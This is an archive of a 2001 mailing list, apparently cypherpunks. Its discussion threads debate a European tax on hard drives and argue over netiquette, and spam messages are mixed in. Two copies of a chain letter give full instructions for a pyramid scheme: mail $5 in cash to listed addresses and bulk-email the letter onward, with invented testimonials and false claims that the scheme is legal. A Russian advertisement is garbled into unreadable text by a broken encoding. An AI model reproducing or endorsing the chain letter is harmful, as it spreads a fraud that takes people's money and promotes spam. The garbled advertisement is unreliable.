Date: Wed, 14 Feb 2001 18:27:16 -0800 (PST)
Subject: Slashdot | European Record Industry Goes After Personal Computers
In-Reply-To: <005d01c096e9$5fb7c7c0$6975e5a9@Reshall.berkeley.edu>
Message-ID: <Pine.LNX.4.21.0102141822340.18491-100000@bolt.sonic.net>




On Wed, 14 Feb 2001, atek3 wrote:

>What a bunch of lame ass looters, at least metallica pretends to take the
>moral high ground.  These pieces of shit want to levy idiotic taxes because
>"its simple"
>Screw theses leftists.  Articles like this remind me to pray every night
>that I don't wake up in the People's Republic of Europe.
>Bleh,
>Atek

There's a lot to be said for "simple", especially when it would 
require invasive (and expensive) monitoring to implement a per-
song download fee. 

BTW; I don't generally download music: I tried it and the sound 
quality of MP3 is crap.  I don't use windows; the engineering 
quality of the product is crap.  But I'd still rather pay taxes 
on hard drives than have snooping software installed in Windows. 
See, given the choice, I'd rather have taxes rather than snooping 
software accepted as "normal". -- At least for now.

				Bear




From bill.stewart at pobox.com  Wed Feb 14 19:03:49 2001
From: bill.stewart at pobox.com (Bill Stewart)
Date: Wed, 14 Feb 2001 19:03:49 -0800
Subject: Ah, now I catch Declan's trick
In-Reply-To: <20010214194212.D1741@cluebot.com>
References: <Pine.LNX.3.96.1010214160008.356K-100000@einstein.ssz.com>
 <Pine.LNX.3.96.1010214160008.356K-100000@einstein.ssz.com>
Message-ID: <3.0.5.32.20010214190349.01c3ce90@idiom.com>


At 07:42 PM 2/14/01 -0500, Declan McCullagh wrote:
>The below is typically muddled.
>
>Netiquette says one should not send one message to someone privately
>and *the identical text* to the list in a different message. It
>leaves the recipient unsure about whether the thought was a private
>communication or not. This is what Jim has done twice this week.
>
>It is, however, perfectly acceptable to do a reply-to-all when engaging
>in list conversations (provided that the CC line is not too long, etc.),
>and that is what I have done and am doing.

Netiquette is somewhat conflicted about this -
especially when replying to a noisy list somebody isn't on,
including their name in the To: or Cc: tends to drag them in
to a large discussion that meanders off onto other topics.
Bcc: is one way to avoid this problem; Reply-To: is another.
				Thanks! 
					Bill
Bill Stewart, bill.stewart at pobox.com
PGP Fingerprint D454 E202 CBC8 40BF  3C85 B884 0ABE 4639




From declan at well.com  Wed Feb 14 16:42:12 2001
From: declan at well.com (Declan McCullagh)
Date: Wed, 14 Feb 2001 19:42:12 -0500
Subject: Ah, now I catch Declan's trick
In-Reply-To: <Pine.LNX.3.96.1010214160008.356K-100000@einstein.ssz.com>; from ravage@ssz.com on Wed, Feb 14, 2001 at 04:08:29PM -0600
References: <Pine.LNX.3.96.1010214160008.356K-100000@einstein.ssz.com>
Message-ID: <20010214194212.D1741@cluebot.com>


The below is typically muddled.

Netiquette says one should not send one message to someone privately
and *the identical text* to the list in a different message. It
leaves the recipient unsure about whether the thought was a private
communication or not. This is what Jim has done twice this week.

It is, however, perfectly acceptable to do a reply-to-all when engaging
in list conversations (provided that the CC line is not too long, etc.),
and that is what I have done and am doing.

-Declan



On Wed, Feb 14, 2001 at 04:08:29PM -0600, Jim Choate wrote:
> 
> He posted a comment the other day about my sending private notes was
> unwaranted in responce to comments made on the public list.
> 
> I was wondering why he got them at all because previously he hadn't been
> receiving them. Well today I made the same mistake, I didn't look at the
> header until after I'd sent it. Then I realized that Declan is now sending
> these messages not only to the list, but to me privately (something he
> says is against netiquette?), something he wasn't doing before. The
> private messages bubble to the top first so I reply to them. I was also
> wondering why I was getting multiple copies of his inbound too.
> 
> So, if Declan would please forward the responce to his public post back to
> the list (and send his commentary w/o me cc:'ed specificaly please) we can
> proceed with a reasonably civil debate until he finds something else to
> play with instead of the topic at hand.
> 
>     ____________________________________________________________________
> 
>                  One World, One Web, One Program - Microsoft
> 
>                  Ein Volk, Ein Reich, Ein Fuhrer - Hitler
> 
>        The Armadillo Group       ,::////;::-.          James Choate
>        Austin, Tx               /:'///// ``::>/|/      ravage at ssz.com
>        www.ssz.com            .',  ||||    `/( e\      512-451-7087
>                            -====~~mm-'`-```-mm --'-
>     --------------------------------------------------------------------
> 




From tcmay at got.net  Wed Feb 14 20:09:36 2001
From: tcmay at got.net (Tim May)
Date: Wed, 14 Feb 2001 20:09:36 -0800
Subject: Taxes on hard drives
In-Reply-To: <Pine.LNX.4.21.0102141822340.18491-100000@bolt.sonic.net>
References: <Pine.LNX.4.21.0102141822340.18491-100000@bolt.sonic.net>
Message-ID: <a05010403b6b1040f24ac@[207.111.241.219]>


At 6:27 PM -0800 2/14/01, Ray Dillinger wrote:
>
>BTW; I don't generally download music: I tried it and the sound
>quality of MP3 is crap.  I don't use windows; the engineering
>quality of the product is crap.  But I'd still rather pay taxes
>on hard drives than have snooping software installed in Windows.
>See, given the choice, I'd rather have taxes rather than snooping
>software accepted as "normal". -- At least for now.

A tax on a hard drive is a theft, a shake down. Rent-seeking.

Why should someone who is not downloading music or images (or 
whatever it is the tax is allegedly meant to support) be taxed thusly?

Should paper be taxed so as to support writers?

As to your preference for a tax on hard drives over snooping software 
in Windows, the solution is to to not use products with such snooping 
features. Or to find ways to cripple the functionality (as was done 
with the barcode scanner giveaway of several months back).

The "tax" approach is attractive to the thugs for the obvious 
reasons: more opportunities to shake down the proles and collect a 
percentage for themselves.

Practically, did the "tax" on blank tapes ever "work"? Of course not. 
Metallica and Eminem did not see meaningful revenues. The tax 
vanished into the maw of the government, the RIAA and ASCAP 
bureaucracy, and the pockets of the shake down artists.

(But some of us had the last laugh. The "Home Recording Act" tax came 
with the proviso that unlimited "non-commercial" copying was now 
unprosecutable. A friend of mine copied more than 4500 CDs onto about 
a thousand DAT tapes. The DAT tapes were purchased in bulk from a guy 
in Nashville for about $2 per 4-hour (highest quality) tape. Now, of 
course, CD-Rs can be purchased in bulk for about $0.28 per 80-minute 
blank, so my friend is now making mostly CD-Rs. He makes extras for 
me, for the cost of the materials, so I have about 500 CDs "for free" 
that are perfectly legal under the Home Recording Act. Of the 28 
cents per blank CD-R, how much is going to Limp Biskit?)

But, to repeat, a tax like this is a shake down.

--Tim May
-- 
Timothy C. May         tcmay at got.net        Corralitos, California
Political: Co-founder Cypherpunks/crypto anarchy/Cyphernomicon
Technical: physics/soft errors/Smalltalk/Squeak/agents/games/Go
Personal: b.1951/UCSB/Intel '74-'86/retired/investor/motorcycles/guns




From ravage at EINSTEIN.ssz.com  Wed Feb 14 18:55:34 2001
From: ravage at EINSTEIN.ssz.com (Jim Choate)
Date: Wed, 14 Feb 2001 20:55:34 -0600
Subject: The Register - Ring my ring (or "Is that in the next standard?")
Message-ID: <3A8B4526.993D3C00@ssz.com>


http://www.theregister.co.uk/content/28/16903.html
-- 
    ____________________________________________________________________

           Before a larger group can see the virtue of an idea, a
           smaller group must first understand it.

                                           "Stranger Suns"
                                           George Zebrowski

       The Armadillo Group       ,::////;::-.          James Choate
       Austin, Tx               /:'///// ``::>/|/      ravage at ssz.com
       www.ssz.com            .',  ||||    `/( e\      512-451-7087
                           -====~~mm-'`-```-mm --'-
    --------------------------------------------------------------------




From mikee60 at thebestlinks.org  Wed Feb 14 19:18:31 2001
From: mikee60 at thebestlinks.org (mikee60 at thebestlinks.org)
Date: Wed, 14 Feb 2001 22:18:31 -0500
Subject: Highest Payout On The Net!
Message-ID: <bq3s1a2.2s655p2k@mail2.thebestlinks.org>

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From declan at well.com  Wed Feb 14 19:20:34 2001
From: declan at well.com (Declan McCullagh)
Date: Wed, 14 Feb 2001 22:20:34 -0500
Subject: Ah, now I catch Declan's trick
In-Reply-To: <3.0.5.32.20010214190349.01c3ce90@idiom.com>
References: <20010214194212.D1741@cluebot.com>
 <Pine.LNX.3.96.1010214160008.356K-100000@einstein.ssz.com>
 <Pine.LNX.3.96.1010214160008.356K-100000@einstein.ssz.com>
Message-ID: <5.0.2.1.0.20010214221917.0200ba10@mail.well.com>


At 07:03 PM 2/14/01 -0800, Bill Stewart wrote, quoting me:
> >It is, however, perfectly acceptable to do a reply-to-all when engaging
> >in list conversations (provided that the CC line is not too long, etc.),
> >and that is what I have done and am doing.
>
>Netiquette is somewhat conflicted about this -
>especially when replying to a noisy list somebody isn't on,
>including their name in the To: or Cc: tends to drag them in
>to a large discussion that meanders off onto other topics.
>Bcc: is one way to avoid this problem; Reply-To: is another.

Fair enough, this may be one area where reasonable people can disagree. In 
this case, though, particulars count: Choate is not known for his 
reticence, and has never complained about the practice, which is common in 
these parts.

-Declan




From alan at clueserver.org  Wed Feb 14 22:25:53 2001
From: alan at clueserver.org (Alan Olsen)
Date: Wed, 14 Feb 2001 22:25:53 -0800 (PST)
Subject: Taxes on hard drives
In-Reply-To: <200102150433.XAA20500@www2.aa.psiweb.com>
Message-ID: <Pine.LNX.4.10.10102142206270.4897-100000@clueserver.org>


On Wed, 14 Feb 2001 George at Orwellian.Org wrote:

> May Man wrote:
> #
> #    Practically, did the "tax" on blank tapes ever "work"? Of course not.
> #    Metallica and Eminem did not see meaningful revenues. The tax
> #    vanished into the maw of the government, the RIAA and ASCAP
> #    bureaucracy, and the pockets of the shake down artists.
> 
> I once asked a musician here in NYC what became of the money.
> 
> Yeah, the local unions got it. ("shake down artists"?)
> 
> That's as close as it got to the musicians.
> 
> Yet another thing that should be put online
> for integrity: its distribution.

Of course, the actual "starving musicians", the ones who can really use
the money, will never see it either way.  The bigger groups will argue
that since they are more popular, they deserve more of it.  By the time
they get done feeding at the trough there will be nothing left.

The things I find most interesting in the way of the non-traditional music
distribution channels are the things I *cannot* buy.

-- Bands from countries that do not speak english.  (I have found some
great stuff from China, Sweeden and Finland, for example.)

-- radio shows not being distributed for various reasons. (Copyright
vagueness, lack of interest by the owners, or general lack of interest by
the record companies.) Try finding copies of "I'm Sorry I'll Read That
Again" for example.

-- Things being censored by way of copyright.  (The owner is preventing it
from seeing the light of day for some reason or another.) This does not
happen as much in music, but does happen alot in movies.  (A local theatre
shows a number of movies withdrawn due to copyright or other legal threats
on a regular basis.)

-- Bands you will hear no other way.  (Bands not to the taste of some
corporate middle manager.)

Of course none of these things even gets mentioned in the rush to  squeeze
even more money out of the music-buying public.

Of course, later this sort of tax will be extended to the software
industry with Microsoft getting the lion's share of the money.

alan at ctrl-alt-del.com | Note to AOL users: for a quick shortcut to reply
Alan Olsen            | to my mail, just hit the ctrl, alt and del keys.
    "In the future, everything will have its 15 minutes of blame."




From overstock at online-promotions.net  Wed Feb 14 23:08:58 2001
From: overstock at online-promotions.net (overstock at online-promotions.net)
Date: Wed, 14 Feb 2001 23:08:58
Subject: Save $15 off your first $50 purchase at OverStock     
Message-ID: <SCSIiUZDh5d0g4ucajQ0001f10e@scsi>

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From George at Orwellian.Org  Wed Feb 14 20:33:14 2001
From: George at Orwellian.Org (George at Orwellian.Org)
Date: Wed, 14 Feb 2001 23:33:14 -0500 (EST)
Subject: Taxes on hard drives
Message-ID: <200102150433.XAA20500@www2.aa.psiweb.com>


May Man wrote:
#
#    Practically, did the "tax" on blank tapes ever "work"? Of course not.
#    Metallica and Eminem did not see meaningful revenues. The tax
#    vanished into the maw of the government, the RIAA and ASCAP
#    bureaucracy, and the pockets of the shake down artists.

I once asked a musician here in NYC what became of the money.

Yeah, the local unions got it. ("shake down artists"?)

That's as close as it got to the musicians.

Yet another thing that should be put online
for integrity: its distribution.




From ezBiz at drsend.com  Wed Feb 14 23:40:49 2001
From: ezBiz at drsend.com (ezBiz at drsend.com)
Date: Wed, 14 Feb 2001 23:40:49
Subject: READ this one IF you want to earn CASH!!!
Message-ID: <200102150443.UAA28239@cyberpass.net>


Dear Friends & Future Millionaire: 

AS SEEN ON NATIONAL TV:

Making over half million dollars every 4 to 5 months
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Dollars expense one time 

THANK'S TO THE COMPUTER AGE AND THE INTERNET! 
======================================== 
BE A MILLIONAIRE LIKE OTHERS WITHIN A YEAR!!! 

Before you say ''Bull'', please read the following. 
This is the letter you have been hearing about on
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DUE TO THE RECENT INCREASE OF POPULARITY
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money still coming in''. 
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============================================= 
Here is another testimonial: ''' this program has been
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one day when I received this again in the mail I decided
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and walaa ..... 3 weeks later the money started to come
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but first, 

~PRINT THIS NOW FOR YOUR FUTURE REFERENCE~ 

$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$
If you would like to make at least $500,000 every 4 to 5
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$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$

FOLLOW THE SIMPLE INSTRUCTION BELOW AND 
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GUARANTEED! INSTRUCTIONS: 

=====Order all 5 reports shown on the list below =====

For each report, send $5 CASH, THE NAME & NUMBER 
OF THE REPORT YOU ARE ORDERING and
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appears ON THAT LIST next to the report. MAKE SURE 
YOUR RETURN ADDRESS IS ON YOUR ENVELOPE 
TOP LEFT CORNER in case of any mail problems. 

When you place your order, make sure you order each
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5.... Move the name & address in REPORT # 1 down TO REPORT # 2 

6.... Insert YOUR name & address in the REPORT # 1 Position. 
PLEASE MAKE SURE you copy every name & address ACCURATELY! 

================================================
**** Take this entire letter, with the modified list of 
names, and save it on your computer. DO NOT 
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METHOD # 1: BY SENDING BULK E-MAIL LEGALLY 
=================================================

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for a total of 500,000 e-mails. The 0.2% response to
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============================================ 
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=================================================
Advertising on the net is very very inexpensive and there
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=============AVAILABLE REPORTS ============

ORDER EACH REPORT BY ITS NUMBER & 
NAME ONLY. Notes: Always send $5 cash 
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============================================
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Order Report #1 from:

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PO Box 344
Pfafftown, NC 27040
USA

______________________________________________________
REPORT # 2: The Insider's Guide to Sending Bulk e-mail on the Net

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Richard E. Weaver
P.O. Box 67
St.Johnsville, NY 13452
USA 

______________________________________________________
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______________________________________________________
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______________________________________________________
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Box 21115
Grande Prairie
Alberta, T8V-6W7
CANADA
______________________________________________________
$$$$$$$$$ YOUR SUCCESS GUIDELINES $$$$$$$$$$$ 

Follow these guidelines to guarantee your success: 

=== If you do not receive at least 10 orders for Report 
#1 within 2 weeks, continue sending e-mails until you do. 

=== After you have received 10 orders, 2 to 3 weeks
after that you should receive 100 orders or more for 
REPORT # 2. If you did not, continue advertising or
sending e-mails until you do. 

=== Once you have received 100 or more orders
for Report # 2, YOU CAN RELAX, because the 
system is already working for you, and the cash will
continue to roll in ! THIS IS IMPORTANT TO 
REMEMBER: Every time your name is moved 
down on the list, you are placed in front of a
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You can KEEP TRACK of your PROGRESS
by watching which report people are ordering 
from you. IF YOU WANT TO GENERATE
MORE INCOME SEND ANOTHER BATCH
OF E-MAILS AND START THE WHOLE
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to the income you can generate from this business !!! 

==========================================

FOLLOWING IS A NOTE FROM THE 
ORIGINATOR OF THIS PROGRAM: You have
just received information that can give you
financial freedom for the rest of your life, with NO
RISK and JUST A LITTLE BIT OF EFFORT. You 
can make more money in the next few weeks 
and months than you have ever imagined. Follow the
program EXACTLY AS INSTRUCTED. Do Not change
it in any way. It works exceedingly well as it is now. 

Remember to e-mail a copy of this exciting report
after you have put your name and address in 
Report #1 and moved others to #2 ...........# 5 as 
instructed above. One of the people you send this
to may send out 100,000 = or more e-mails and your
name will be on every one of them. Remember 
though, the more you send out the more potential
customers you will reach. So my friend, I have given you
the ideas, information, materials and opportunity
to become financiallyindependent.
 IT IS UP TO YOU NOW ! 

============ MORE TESTIMONIALS ============ 

'' My name is Mitchell. My wife, Jody and I live
in Chicago. I am an accountant with a major U.S.
Corporation and I make pretty good money.
When I received this program I grumbled to 
Jody about receiving ''junk mail''. I made fun of the
whole thing, spouting my knowledge of the population
and percentages involved. I ''knew'' it wouldn't work.
Jody totally ignored my supposed intelligence and
few days later she jumped in with both feet. I made
merciless fun of her, and was ready to lay the old 
''I told you so'' on her when the thing didn't work. Well, 
the laugh was on me! Within 3 weeks she had 
received 50 responses. Within the next 45 days 
she had received total $ 147,200.00 ........... 
all cash! I was shocked. I have joined 
Jody in her ''hobby''. 
Mitchell Wolf M.D., Chicago, Illinois 
=========================================
'' Not being the gambling type, it took me several 
weeks to make up my mind to participate in this plan.
But conservative that I am, I decided that the 
initial investment was so little that there was just 
no way that I wouldn't get enough orders to at 
least get my money back''. '' I was surprised when 
I found my medium size post office box crammed 
with orders. I made $319,210.00 in the first 
12 weeks. The nice thing about this deal is that 
it does not matter where people live. There simply 
isn't a better investment with a faster return and so big''. 
Dan Sondstrom, Alberta, Canada 
=============================================
'' I had received this program before. I deleted it, but 
later I wondered if I should have given it a try. Of course,
I had no idea who to contact to get another copy, so 
I had to wait until I was e-mailed again by someone else
........11 months passed then it luckily came again......
I did not delete this one! I made more than $490,000
on my first try and all the money came within 22 weeks''. 
Susan De Suza, New York, N.Y. 
============================================== 
'' It really is a great opportunity to make relatively easy
money with little cost to you. I followed the simple 
instructions carefully and within 10 days the money 
started to come in. My first month I made $ 20, 560.00
and by the end of third month my total cash count was
$ 362,840.00. Life is beautiful, Thanx to internet''. 
Fred Dellaca, Westport, New Zealand 
=============================================== 

ORDER YOUR REPORTS TODAY AND GET STARTED 
ON YOUR ROAD TO FINANCIAL FREEDOM !

================================================ 
If you have any questions of the legality of this
program, contact the Office of Associate Director 
for Marketing Practices, Federal Trade Commission,
Bureau of Consumer Protection, Washington, D.C. 


To be Removed from this mailing list: 
remove at 4ahomeloan.net



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From ezBiz at drsend.com  Wed Feb 14 23:42:27 2001
From: ezBiz at drsend.com (ezBiz at drsend.com)
Date: Wed, 14 Feb 2001 23:42:27
Subject: READ this one IF you want to earn CASH!!!
Message-ID: <200102150442.XAA31227@waste.minder.net>


Dear Friends & Future Millionaire: 

AS SEEN ON NATIONAL TV:

Making over half million dollars every 4 to 5 months
from your home for an investment of only $25 U.S.
Dollars expense one time 

THANK'S TO THE COMPUTER AGE AND THE INTERNET! 
======================================== 
BE A MILLIONAIRE LIKE OTHERS WITHIN A YEAR!!! 

Before you say ''Bull'', please read the following. 
This is the letter you have been hearing about on
the news lately. Due to the popularity of this letter
on the Internet, a national weekly news program 
recently devoted an entire show to the investigation 
of this program described below, to see if it really 
can make people money. The show also investigated
whether or not the program was legal. 

Their findings proved once and for all that there 
are ''absolutely NO Laws prohibiting the participation 
in the program and if people can follow the simple 
instructions, they are bound to make some mega
bucks with only $25 out of pocket cost''. 
DUE TO THE RECENT INCREASE OF POPULARITY
& RESPECT THIS PROGRAM HAS ATTAINED, IT 
IS CURRENTLY WORKING BETTER THAN EVER. 

This is what one had to say: '' Thanks to this profitable
opportunity. I was approached many times before but 
each time I passed on it. I am so glad I finally joined
just to see what one could expect in return for the
minimal effort and money required. To my astonishment
, I received total $ 610,470.00 in 21 weeks, with 
money still coming in''. 
Pam Hedland, Fort Lee, New Jersey. 

============================================= 
Here is another testimonial: ''' this program has been
around for a long time but I never believed in it. But 
one day when I received this again in the mail I decided
to gamble my $25 on it. I followed the simple instructions
and walaa ..... 3 weeks later the money started to come
in. First month I only made $240.00 but the next 2 months
after that I made a total of $290,000.00. So far, in the
past 8 months by re-entering the program, I have made 
over $710,000.00 and I am playing it again. The key
to successin this program is to follow the simple steps
and NOT change anything.'' More testimonials later
but first, 

~PRINT THIS NOW FOR YOUR FUTURE REFERENCE~ 

$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$
If you would like to make at least $500,000 every 4 to 5
months easily and comfortably, please read the following...
THEN READ IT AGAIN and AGAIN !!! 
$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$

FOLLOW THE SIMPLE INSTRUCTION BELOW AND 
YOUR FINANCIAL DREAMS WILL COME TRUE, 
GUARANTEED! INSTRUCTIONS: 

=====Order all 5 reports shown on the list below =====

For each report, send $5 CASH, THE NAME & NUMBER 
OF THE REPORT YOU ARE ORDERING and
YOUR E-MAIL ADDRESS to the person whose name 
appears ON THAT LIST next to the report. MAKE SURE 
YOUR RETURN ADDRESS IS ON YOUR ENVELOPE 
TOP LEFT CORNER in case of any mail problems. 

When you place your order, make sure you order each
of the 5 reports. You will need all 5 reports so that
you can save them on your computer and resell them.
YOUR TOTAL COST $5 X 5=$25.00. 

Within a few days you will receive, vie e-mail, each of
the 5 reports from these 5 different individuals. Save
them on your computer so they will be accessible for
you to send to the 1,000's of people who will order them 
from you. Also make a floppy of these reports and keep
it on your desk in case something happen to your computer. 

IMPORTANT - DO NOT alter the names of the people
who are listed \ next to each report, or their sequence 
on the list, in any way other than what is instructed
below in step '' 1 through 6 '' or you will loose out on
majority of your profits. Once you understand the way
this works, you will also see how it does not work if you
change it. Remember,this method has been tested,
and if you alter, it will NOTwork !!! People have tried
to put their friends/relatives names on all five thinking
they could get all the money.But it does not work this
way. Believe us, we all have tried to be greedy and
then nothing happened. So Do Not try to change
anything other than what is instructed. Because if you
do, it will not work for you. 
Remember, honesty reaps the reward!!! 

1.... After you have ordered all 5 reports, take this
advertisement and REMOVE the name & address of
the person in REPORT # 5. This person has made it
through the cycle and is no doubt counting their fortune. 

2.... Move the name & address in REPORT # 4 down TO REPORT # 5. 

3.... Move the name & address in REPORT # 3 down TO REPORT # 4. 

4.... Move the name & address in REPORT # 2 down TO REPORT # 3. 

5.... Move the name & address in REPORT # 1 down TO REPORT # 2 

6.... Insert YOUR name & address in the REPORT # 1 Position. 
PLEASE MAKE SURE you copy every name & address ACCURATELY! 

================================================
**** Take this entire letter, with the modified list of 
names, and save it on your computer. DO NOT 
MAKE ANY OTHER CHANGES. 

Save this on a disk as well just in case if you loose 
any data. To assist you with marketing your business on
the internet, the 5 reports you purchase will provide you
with invaluable marketing information which includes
how to send bulk e-mails legally, where to find thousands
of free classified ads and much more. There are 2 
Primary methods to get this venture going: 

METHOD # 1: BY SENDING BULK E-MAIL LEGALLY 
=================================================

It's say that you decide to start small, just to see how it 
goes, and we will assume You and those involved send
out only 5,000 e-mails each. Let's also assume that the
mailing receive only a 0.2% response (the response could
be much better but lets just say it is only 0.2%. Also many
people will send out hundreds of thousands e-mails 
instead of only 5,000 each). Continuing with this example, 
you send out only 5,000 e-mails. 

With a 0.2% response, that is only 10 orders for 
report # 1. Those 10 people responded by sending
out 5,000 e-mail each for a total of 50,000. Out of 
those 50,000 e-mails only 0.2% responded with 
orders. That's=100 people responded and ordered 
Report # 2. 

Those 100 people mail out 5,000 e-mails each 
for a total of 500,000 e-mails. The 0.2% response to
that is 1000 orders for Report # 3. 

Those 1000 people send out 5,000 e-mails each for
a total of 5 million e-mails sent out. The 0.2%
response to that is 10,000 orders for Report # 4.

Those 10,000 people send out 5,000 e-mails each
for a total of 50,000,000 (50 million) e-mails. The
0.2% response to that is 100,000 orders for 
Report # 5 THAT'S 100,000 ORDERS TIMES 
$5 EACH=$500,000.00 (half million). 

Your total income in this example is: 1..... 
$50 + 2..... $500 + 3.....$5,000 + 4..... $50,000 + 
5..... $500,000 ........ Grand Total=$555,550.00 

NUMBERS DO NOT LIE. GET A PENCIL & 
PAPER AND FIGURE OUT THE WORST
POSSIBLE RESPONSES AND NO MATTER
HOW YOU CALCULATE IT, YOU WILL STILL
MAKE A LOT OF MONEY ! 

============================================ 
REMEMBER FRIEND, THIS IS ASSUMING 
ONLY 10 PEOPLE ORDERING OUT OF 
5,000 YOU MAILED TO. 
Dare to think for a moment what would happen
if everyone or half or even one 4th of those people
mailed 100,000e-mails each or more? There are over 
150 million people on the Internet worldwide and
counting. Believe me, many people will do just
that, and more! 

METHOD # 2 : BY PLACING FREE ADS ON THE INTERNET 
=================================================
Advertising on the net is very very inexpensive and there
are hundreds of FREE places to advertise. Placing a lot
of free ads on the Internet will easily get a larger response.
We strongly suggest you start with Method # 1 and
add METHOD # 2 as you go along. For every $5 you
receive,all you must do is e-mail them the Report they 
ordered. That's it. Always provide same day service on 
all orders. 

This will guarantee that the e-mail they send out, 
with your name and address on it, will be prompt
because they cannot advertise until they
receive the report. 

=============AVAILABLE REPORTS ============

ORDER EACH REPORT BY ITS NUMBER & 
NAME ONLY. Notes: Always send $5 cash 
(U.S. CURRENCY) for each Report. Checks NOT 
accepted. Make sure the cash is concealed by 
wrapping it in at least 2 sheets of paper. On one
of those sheets of paper, Write the NUMBER 
& the NAME of the Report you are ordering, 
YOUR E-MAIL ADDRESS 
and your name and postal address. 

PLACE YOUR ORDER FOR THESE REPORTS NOW: 
============================================
Report # 1: 'The Insider's Guide to Advertising for Free on the Net 

Order Report #1 from:

JW
PO Box 344
Pfafftown, NC 27040
USA

______________________________________________________
REPORT # 2: The Insider's Guide to Sending Bulk e-mail on the Net

Order Report # 2 from: 

Richard E. Weaver
P.O. Box 67
St.Johnsville, NY 13452
USA 

______________________________________________________
REPORT # 3: Secret to Multilevel marketing on the net

Order Report # 3 from: 

A. Smith
P.O. Box 573072
Houston, TX 77257-3072
USA 

______________________________________________________
REPORT # 4: How to become a Millionaire utilizing MLM & the Net 

Order Report # 4 from: 

CJ
P.O. 130157
Roseville, MN 55113
USA 

______________________________________________________
REPORT #5: How to send out 0ne million emails for free!

Order Report # 5 From:

R.B.
Box 21115
Grande Prairie
Alberta, T8V-6W7
CANADA
______________________________________________________
$$$$$$$$$ YOUR SUCCESS GUIDELINES $$$$$$$$$$$ 

Follow these guidelines to guarantee your success: 

=== If you do not receive at least 10 orders for Report 
#1 within 2 weeks, continue sending e-mails until you do. 

=== After you have received 10 orders, 2 to 3 weeks
after that you should receive 100 orders or more for 
REPORT # 2. If you did not, continue advertising or
sending e-mails until you do. 

=== Once you have received 100 or more orders
for Report # 2, YOU CAN RELAX, because the 
system is already working for you, and the cash will
continue to roll in ! THIS IS IMPORTANT TO 
REMEMBER: Every time your name is moved 
down on the list, you are placed in front of a
Different report. 

You can KEEP TRACK of your PROGRESS
by watching which report people are ordering 
from you. IF YOU WANT TO GENERATE
MORE INCOME SEND ANOTHER BATCH
OF E-MAILS AND START THE WHOLE
PROCESS AGAIN. There is NO LIMIT 
to the income you can generate from this business !!! 

==========================================

FOLLOWING IS A NOTE FROM THE 
ORIGINATOR OF THIS PROGRAM: You have
just received information that can give you
financial freedom for the rest of your life, with NO
RISK and JUST A LITTLE BIT OF EFFORT. You 
can make more money in the next few weeks 
and months than you have ever imagined. Follow the
program EXACTLY AS INSTRUCTED. Do Not change
it in any way. It works exceedingly well as it is now. 

Remember to e-mail a copy of this exciting report
after you have put your name and address in 
Report #1 and moved others to #2 ...........# 5 as 
instructed above. One of the people you send this
to may send out 100,000 = or more e-mails and your
name will be on every one of them. Remember 
though, the more you send out the more potential
customers you will reach. So my friend, I have given you
the ideas, information, materials and opportunity
to become financiallyindependent.
 IT IS UP TO YOU NOW ! 

============ MORE TESTIMONIALS ============ 

'' My name is Mitchell. My wife, Jody and I live
in Chicago. I am an accountant with a major U.S.
Corporation and I make pretty good money.
When I received this program I grumbled to 
Jody about receiving ''junk mail''. I made fun of the
whole thing, spouting my knowledge of the population
and percentages involved. I ''knew'' it wouldn't work.
Jody totally ignored my supposed intelligence and
few days later she jumped in with both feet. I made
merciless fun of her, and was ready to lay the old 
''I told you so'' on her when the thing didn't work. Well, 
the laugh was on me! Within 3 weeks she had 
received 50 responses. Within the next 45 days 
she had received total $ 147,200.00 ........... 
all cash! I was shocked. I have joined 
Jody in her ''hobby''. 
Mitchell Wolf M.D., Chicago, Illinois 
=========================================
'' Not being the gambling type, it took me several 
weeks to make up my mind to participate in this plan.
But conservative that I am, I decided that the 
initial investment was so little that there was just 
no way that I wouldn't get enough orders to at 
least get my money back''. '' I was surprised when 
I found my medium size post office box crammed 
with orders. I made $319,210.00 in the first 
12 weeks. The nice thing about this deal is that 
it does not matter where people live. There simply 
isn't a better investment with a faster return and so big''. 
Dan Sondstrom, Alberta, Canada 
=============================================
'' I had received this program before. I deleted it, but 
later I wondered if I should have given it a try. Of course,
I had no idea who to contact to get another copy, so 
I had to wait until I was e-mailed again by someone else
........11 months passed then it luckily came again......
I did not delete this one! I made more than $490,000
on my first try and all the money came within 22 weeks''. 
Susan De Suza, New York, N.Y. 
============================================== 
'' It really is a great opportunity to make relatively easy
money with little cost to you. I followed the simple 
instructions carefully and within 10 days the money 
started to come in. My first month I made $ 20, 560.00
and by the end of third month my total cash count was
$ 362,840.00. Life is beautiful, Thanx to internet''. 
Fred Dellaca, Westport, New Zealand 
=============================================== 

ORDER YOUR REPORTS TODAY AND GET STARTED 
ON YOUR ROAD TO FINANCIAL FREEDOM !

================================================ 
If you have any questions of the legality of this
program, contact the Office of Associate Director 
for Marketing Practices, Federal Trade Commission,
Bureau of Consumer Protection, Washington, D.C. 


To be Removed from this mailing list: 
remove at 4ahomeloan.net



**************************************************************** 
“This is not SPAM. We are both members of the same opt-in 
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To be removed, please send an unsubscribe request directly 
to the list.” 
****************************************************************








From reklama at moscow.lg  Wed Feb 14 13:49:54 2001
From: reklama at moscow.lg (Ivan)
Date: Thu, 15 Feb 2001 00:49:54 +0300
Subject: No subject
Message-ID: <200102142157.NAA11970@toad.com>


Sb`f`el{e D`l{ h Cnqond`!
Opedk`c`el B`l ~phdhweqjhe `dpeq` c. Lnqjb{ dk pechqrp`vhh hkh oepepechqrp`vhh  opedophrhi (h dk dpschu msfd).
Bmhl`mhe, hmtnpl`vh oephndhweqjh lemerq. Onf`ksiqr`, opnbepire.

5 - K~qhmnbqj` sk., d. 11/12, qrp.1 - 150 - qnaqrbemmhj
10 - Dejrpm{i oepesknj, d. 5, qrp.2 - 140 - qnaqrbemmhj
10 - 123056, c. Lnqjb`, sk. A. Cpsghmqj`, d.60, qrp.1 - 150 - qnaqrbemmhj
15 - 127562, c. Lnqjb`, @krst|ebqjne x., d. 28 - 140 - qnaqrbemmhj
19 - 105484, c. Lnqjb`, sk. 16 O`pjnb`, d. 21, jnpo.1  - 220 - qnaqrbemmhj
20 - 111524, c. Lnqjb`, ]kejrpndm` sk., d. 14, qrp. 2 - 180 - qnaqrbemmhj
21 - 109428, c. Lnqjb`, 1-i J`g`mqjhi opnqej, dnl 4` - 100 - dnlnbk`dekev
25 - 115533, c. Lnqjb`, sk. B{qnj`, d. 3 - 165 - `pemd`
